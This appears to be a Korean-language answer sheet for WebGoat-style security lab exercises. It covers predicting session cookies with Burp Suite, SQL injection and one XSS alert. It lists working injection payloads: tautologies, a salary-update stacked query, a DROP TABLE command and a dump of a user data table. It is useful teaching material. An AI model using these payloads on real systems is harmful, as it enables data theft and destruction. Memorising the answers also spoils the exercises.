🔑 세션 하이재킹 (Session Hijacking)
A1-2

- 정답:
- 임의의 아이디와 비밀번호로 로그인 요청을 보낸다.
- Burp Suite를 통해 로그인 요청에 대한 HTTP request와 response를 intercept하여
hijack_cookie라는 session 값을 확인한다. - 로그인 요청을 몇 번 더 보내 session 값의 규칙을 확인한다.
- 확인 결과 아래와 같은 규칙이 확인됐다:
85806689698982266 05-171464176 944785806689698982266 27-171464206 146885806689698982266 29-171464206 3425- 매 로그인 시도 마다 앞의 값이 1씩 증가하고 뒤의 값 일부가 바뀐다.
- 2번째와 3번째 session 값 사이에 28로 끝나는 session 값이 없는 것으로 보아 다른 사용자에게 할당된 session값으로 추측된다.
- Burp Suite를 통해 앞자리
85806689698982266 28, 뒷자리171464206 1468~171464206 3425사이의hijack_cookie값을 넣어 로그인 요청을 시도한다.
💉 SQL 인젝션 (SQL Injection)
SQL Injection (intro)-9

- 정답:
' or '1' = '1혹은Smith' or '1' = '1 - 풀이:
'1' = '1'은 true이고 or 로 where절에 묶여 있으므로 where 절은 항상 true가 된다.
SQL Injection (intro)-10

- 정답:
Login_Count = [임의의 숫자], User_id = [임의의 숫자] or 1=1 - 풀이: where 절을 true로 만들기 위해
or 1=1사용.
SQL Injection (intro)-11

- 정답:
Employee Name: [아무 문자],Authentication TAN: [아무문자]' or '1'='1 - 풀이:
auth_tan바로 뒤의'에 맞게'를 짝지어 빈 문자열과auth_tan을 비교하는 구문을 만들고, 맨 마지막에'를 처리하기 위해or '1'='1를 사용하여 where 절이 항상 true가 되게 만듦.
SQL Injection (intro)-12

- 정답:
Employee Name: [아무 문자],Authentication TAN: '; update employees set salary = 99999 where last_name = 'Smith';-- - 풀이: 맨 앞의
'에 맞게';를 붙여 기존 쿼리문을 완성시키고, 그 뒤에 salary를 update하는 쿼리문을 추가한 뒤 마지막'를--로 주석 처리한다.
SQL Injection (intro)-13

- 정답:
';drop table access_log; -- - 풀이: 입력한 문자열을 비교하는 쿼리문이 사용됐을 것으로 생각하여
';로 기존 쿼리문을 완성시키고, 그 뒤에 table을 지우는 쿼리문을 추가한 뒤 나머지 기존 쿼리문을--로 주석 처리한다.
SQL Injection (advanced)-3

- 정답:
'; select * from user_system_data;-- - 풀이: 입력한 문자열을 비교하는 쿼리문이 사용됐을 것으로 생각하여
';로 기존 쿼리문을 완성시키고, 그 뒤에user_system_datatable의 모든 데이터를 가져오는 쿼리문을 추가한 뒤 나머지 기존 쿼리문을--로 주석 처리한다.
SQL Injection (advanced)-5
(내용 없음)
✒️ 크로스 사이트 스크립팅 (Cross-Site Scripting - XSS)
Cross Site Scripting-7

- 정답:
</p><script>alert('test')</script><p>